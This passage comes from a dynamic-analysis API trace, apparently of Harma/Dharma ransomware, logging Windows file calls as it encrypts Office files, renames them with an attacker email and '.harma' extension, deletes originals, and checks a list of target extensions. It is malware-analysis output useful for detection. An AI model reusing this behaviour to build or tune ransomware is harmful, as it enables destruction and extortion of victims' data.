lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.325] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xee, lpOverlapped=0x0) returned 1 [0158.325] SetEndOfFile (hFile=0x350) returned 1 [0158.326] CloseHandle (hObject=0x350) returned 1 [0158.326] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.326] SetEndOfFile (hFile=0x380) returned 1 [0158.328] CloseHandle (hObject=0x380) returned 1 [0158.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 1 [0158.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.330] lstrlenW (lpString=".doc") returned 4 [0158.330] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.330] lstrlenW (lpString=".docx") returned 5 [0158.330] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.330] lstrlenW (lpString=".pdf") returned 4 [0158.330] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.330] lstrlenW (lpString=".xls") returned 4 [0158.330] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.330] lstrlenW (lpString=".xlsx") returned 5 [0158.330] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.330] lstrlenW (lpString=".ppt") returned 4 [0158.330] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.330] lstrlenW (lpString=".zip") returned 4 [0158.330] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.330] lstrlenW (lpString=".rar") returned 4 [0158.330] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.330] lstrlenW (lpString=".bz2") returned 4 [0158.330] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.330] lstrlenW (lpString=".7z") returned 3 [0158.330] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.330] lstrlenW (lpString=".dbf") returned 4 [0158.330] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.331] lstrlenW (lpString=".1cd") returned 4 [0158.331] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.331] lstrlenW (lpString=".jpg") returned 4 [0158.331] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.331] lstrlenW (lpString=".doc") returned 4 [0158.331] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.331] lstrlenW (lpString=".docx") returned 5 [0158.331] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.331] lstrlenW (lpString=".pdf") returned 4 [0158.331] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.331] lstrlenW (lpString=".xls") returned 4 [0158.331] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.331] lstrlenW (lpString=".xlsx") returned 5 [0158.331] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.331] lstrlenW (lpString=".ppt") returned 4 [0158.331] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.331] lstrlenW (lpString=".zip") returned 4 [0158.331] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.331] lstrlenW (lpString=".rar") returned 4 [0158.331] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.331] lstrlenW (lpString=".bz2") returned 4 [0158.331] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.331] lstrlenW (lpString=".7z") returned 3 [0158.331] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.332] lstrlenW (lpString=".dbf") returned 4 [0158.332] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.332] lstrlenW (lpString=".1cd") returned 4 [0158.332] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0158.332] lstrlenW (lpString=".jpg") returned 4 [0158.332] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.332] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0158.332] lstrlenW (lpString="OMSINTL.DLL") returned 11 [0158.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.334] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=401792) returned 1 [0158.334] CloseHandle (hObject=0x380) returned 1 [0158.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll")) returned 0x20 [0158.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.335] lstrlenW (lpString=".doc") returned 4 [0158.335] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.335] lstrlenW (lpString=".docx") returned 5 [0158.335] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0158.335] lstrlenW (lpString=".pdf") returned 4 [0158.335] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.335] lstrlenW (lpString=".xls") returned 4 [0158.335] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.335] lstrlenW (lpString=".xlsx") returned 5 [0158.335] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0158.335] lstrlenW (lpString=".ppt") returned 4 [0158.335] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.335] lstrlenW (lpString=".zip") returned 4 [0158.335] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.335] lstrlenW (lpString=".rar") returned 4 [0158.335] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.335] lstrlenW (lpString=".bz2") returned 4 [0158.335] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.335] lstrlenW (lpString=".7z") returned 3 [0158.335] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.335] lstrlenW (lpString=".dbf") returned 4 [0158.335] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.336] lstrlenW (lpString=".1cd") returned 4 [0158.336] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.336] lstrlenW (lpString=".jpg") returned 4 [0158.336] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.336] lstrlenW (lpString=".doc") returned 4 [0158.336] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.336] lstrlenW (lpString=".docx") returned 5 [0158.336] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0158.336] lstrlenW (lpString=".pdf") returned 4 [0158.336] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.336] lstrlenW (lpString=".xls") returned 4 [0158.336] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.336] lstrlenW (lpString=".xlsx") returned 5 [0158.336] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0158.336] lstrlenW (lpString=".ppt") returned 4 [0158.336] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.336] lstrlenW (lpString=".zip") returned 4 [0158.336] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.336] lstrlenW (lpString=".rar") returned 4 [0158.336] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.336] lstrlenW (lpString=".bz2") returned 4 [0158.336] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.336] lstrlenW (lpString=".7z") returned 3 [0158.336] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.337] lstrlenW (lpString=".dbf") returned 4 [0158.337] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.337] lstrlenW (lpString=".1cd") returned 4 [0158.337] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0158.337] lstrlenW (lpString=".jpg") returned 4 [0158.337] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.337] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0158.337] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19 [0158.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.338] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=24960) returned 1 [0158.338] CloseHandle (hObject=0x380) returned 1 [0158.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 0x20 [0158.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.340] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.340] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.341] GetLastError () returned 0x0 [0158.341] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x6180, lpOverlapped=0x0) returned 1 [0158.343] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x6190, lpOverlapped=0x0) returned 1 [0158.344] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.344] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0158.344] SetEndOfFile (hFile=0x350) returned 1 [0158.344] CloseHandle (hObject=0x350) returned 1 [0158.344] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.344] SetEndOfFile (hFile=0x380) returned 1 [0158.347] CloseHandle (hObject=0x380) returned 1 [0158.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 1 [0158.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.349] lstrlenW (lpString=".doc") returned 4 [0158.349] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString=".docx") returned 5 [0158.349] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.349] lstrlenW (lpString=".pdf") returned 4 [0158.349] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString=".xls") returned 4 [0158.349] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString=".xlsx") returned 5 [0158.349] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.349] lstrlenW (lpString=".ppt") returned 4 [0158.349] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.349] lstrlenW (lpString=".zip") returned 4 [0158.349] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString=".rar") returned 4 [0158.349] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString=".bz2") returned 4 [0158.349] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString=".7z") returned 3 [0158.349] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.349] lstrlenW (lpString=".dbf") returned 4 [0158.349] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.349] lstrlenW (lpString=".1cd") returned 4 [0158.349] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.349] lstrlenW (lpString=".jpg") returned 4 [0158.349] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.350] lstrlenW (lpString=".doc") returned 4 [0158.350] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString=".docx") returned 5 [0158.350] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.350] lstrlenW (lpString=".pdf") returned 4 [0158.350] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString=".xls") returned 4 [0158.350] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString=".xlsx") returned 5 [0158.350] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.350] lstrlenW (lpString=".ppt") returned 4 [0158.350] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.350] lstrlenW (lpString=".zip") returned 4 [0158.350] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString=".rar") returned 4 [0158.350] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString=".bz2") returned 4 [0158.350] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString=".7z") returned 3 [0158.350] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.350] lstrlenW (lpString=".dbf") returned 4 [0158.350] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.350] lstrlenW (lpString=".1cd") returned 4 [0158.350] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0158.351] lstrlenW (lpString=".jpg") returned 4 [0158.351] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.351] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0158.351] lstrlenW (lpString="ONELEV.EXE") returned 10 [0158.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.351] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=57224) returned 1 [0158.351] CloseHandle (hObject=0x380) returned 1 [0158.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe")) returned 0x20 [0158.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.352] lstrlenW (lpString=".doc") returned 4 [0158.352] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0158.352] lstrlenW (lpString=".docx") returned 5 [0158.352] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0158.352] lstrlenW (lpString=".pdf") returned 4 [0158.352] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0158.352] lstrlenW (lpString=".xls") returned 4 [0158.352] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0158.352] lstrlenW (lpString=".xlsx") returned 5 [0158.352] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0158.353] lstrlenW (lpString=".ppt") returned 4 [0158.353] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0158.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.353] lstrlenW (lpString=".zip") returned 4 [0158.353] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0158.353] lstrlenW (lpString=".rar") returned 4 [0158.353] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0158.353] lstrlenW (lpString=".bz2") returned 4 [0158.353] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0158.353] lstrlenW (lpString=".7z") returned 3 [0158.353] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0158.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.353] lstrlenW (lpString=".dbf") returned 4 [0158.353] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0158.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.353] lstrlenW (lpString=".1cd") returned 4 [0158.353] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0158.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.353] lstrlenW (lpString=".jpg") returned 4 [0158.353] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0158.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.353] lstrlenW (lpString=".doc") returned 4 [0158.353] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0158.353] lstrlenW (lpString=".docx") returned 5 [0158.353] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0158.353] lstrlenW (lpString=".pdf") returned 4 [0158.353] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0158.353] lstrlenW (lpString=".xls") returned 4 [0158.354] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0158.354] lstrlenW (lpString=".xlsx") returned 5 [0158.354] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0158.354] lstrlenW (lpString=".ppt") returned 4 [0158.354] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0158.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.354] lstrlenW (lpString=".zip") returned 4 [0158.354] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0158.354] lstrlenW (lpString=".rar") returned 4 [0158.354] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0158.354] lstrlenW (lpString=".bz2") returned 4 [0158.354] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0158.354] lstrlenW (lpString=".7z") returned 3 [0158.354] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0158.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.354] lstrlenW (lpString=".dbf") returned 4 [0158.354] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0158.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.354] lstrlenW (lpString=".1cd") returned 4 [0158.354] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0158.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0158.354] lstrlenW (lpString=".jpg") returned 4 [0158.354] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0158.355] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0158.355] lstrlenW (lpString="ONENOTE.HXS") returned 11 [0158.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.356] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1750992) returned 1 [0158.356] CloseHandle (hObject=0x380) returned 1 [0158.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs")) returned 0x20 [0158.356] GetFileAttributesW (lpFileName="C:\\Program 